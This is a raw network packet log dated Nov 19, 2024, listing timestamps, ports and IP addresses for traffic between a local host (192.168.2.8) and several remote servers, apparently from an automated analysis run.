Nov 19, 2024 18:00:47.557740927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.557776928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.557785034 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.557811022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.557842970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.557853937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.557877064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.557888985 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.557909012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.557944059 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.557955027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.557976007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558012962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558020115 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558044910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558058023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558088064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558131933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558141947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558176041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558219910 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558226109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558274031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558279037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558310032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558345079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558353901 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558377028 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558412075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558423042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558444977 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558476925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558489084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558520079 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558561087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558610916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558645010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558656931 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558676958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558712006 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558722973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558746099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558758020 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558783054 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558793068 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558811903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.558830976 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.558857918 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.563138008 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.563162088 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.563218117 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.563225985 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.563391924 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.564601898 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.564616919 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.564677954 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.564683914 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.565608025 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.565643072 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.565659046 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.565697908 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.565704107 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.565732002 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.565748930 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.573474884 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:47.573513031 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:47.573663950 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:47.574048042 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:47.574095011 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:47.574188948 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:47.574311972 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:47.574330091 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:47.574584007 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:00:47.574595928 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:00:47.574898005 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:47.574951887 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:47.575309038 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:47.575928926 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:47.575962067 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:47.576236963 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:47.576301098 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:47.576386929 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:47.576601982 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:00:47.576632977 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:00:47.619530916 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.619550943 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.619607925 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.619616985 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.619684935 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.647335052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.647349119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.647367954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.647381067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.647392988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.647403955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.647419930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.647420883 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.647450924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.647528887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.648174047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648194075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648204088 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648217916 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.648238897 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.648262024 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648273945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648286104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648298979 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648308039 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.648313046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.648322105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.648364067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.648931026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649177074 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.649226904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649238110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649247885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649274111 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.649286032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649286985 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.649298906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649312019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649322987 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649334908 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.649343014 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.649369001 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.650794983 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650808096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650819063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650830984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650846958 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.650852919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650866985 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650877953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650890112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650907993 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.650914907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.650918007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650929928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650932074 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.650966883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650971889 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.650979996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.650998116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651005983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651011944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651025057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651036024 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651074886 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651113033 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651159048 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651258945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651269913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651281118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651293039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651304960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651319981 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651330948 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651344061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651345015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651362896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651371002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651388884 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651397943 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651408911 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651411057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651432037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651443005 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651443005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651454926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651479959 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651479959 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651499033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651565075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651576996 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651588917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651596069 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651606083 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651612043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651618958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651629925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651634932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651668072 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651685953 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651695967 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651712894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651726961 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651736975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651746988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651748896 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651760101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651772022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651773930 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651786089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651798964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651808023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651834965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651835918 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651846886 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651858091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651876926 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651896954 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.651972055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.651992083 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652003050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652029037 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652055025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652084112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652096033 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652107000 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652128935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652152061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652160883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652173042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652204037 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652410030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652514935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652550936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652560949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652571917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652584076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652601957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652609110 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652614117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652626038 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652632952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652637959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652656078 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652667046 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652673960 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652678013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652689934 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652690887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652703047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652715921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652718067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652726889 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652744055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652750015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652759075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652770996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652785063 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652796030 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652823925 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652825117 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652837992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652882099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652882099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652899981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652923107 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652934074 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652937889 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652954102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652956009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652968884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652977943 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.652981043 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652993917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.652997971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653017998 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653019905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653031111 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653043032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653043032 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653057098 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653070927 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653076887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653090000 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653100967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653103113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653119087 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653142929 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653147936 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653156042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653167009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653178930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653183937 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653209925 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653240919 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653352976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653364897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653374910 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653386116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653395891 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653399944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.653414965 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653439999 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.653645992 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.654092073 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.654141903 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.654166937 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.654182911 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.654213905 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.654226065 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.654237032 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.654272079 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.657342911 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:47.657360077 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:47.657787085 CET	49814	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.657798052 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.658230066 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.659869909 CET	49814	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.659957886 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.660068989 CET	49814	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:47.703332901 CET	443	49814	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:47.710750103 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:47.710792065 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:00:47.710874081 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:47.711139917 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:00:47.711153984 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:00:47.733300924 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.733511925 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.733534098 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.733823061 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.734170914 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.734224081 CET	443	49817	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:47.734317064 CET	49817	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:47.737824917 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.737845898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.737855911 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.737917900 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.737929106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.737941027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.737951994 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.737974882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.737974882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.737974882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.738013983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.738224030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.738292933 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.739558935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.739571095 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.739671946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.739682913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.739692926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.739701986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.739706039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.739720106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:47.739722013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:47.739731073 CET	80	49761	185.215.113.206	192.168.2.8
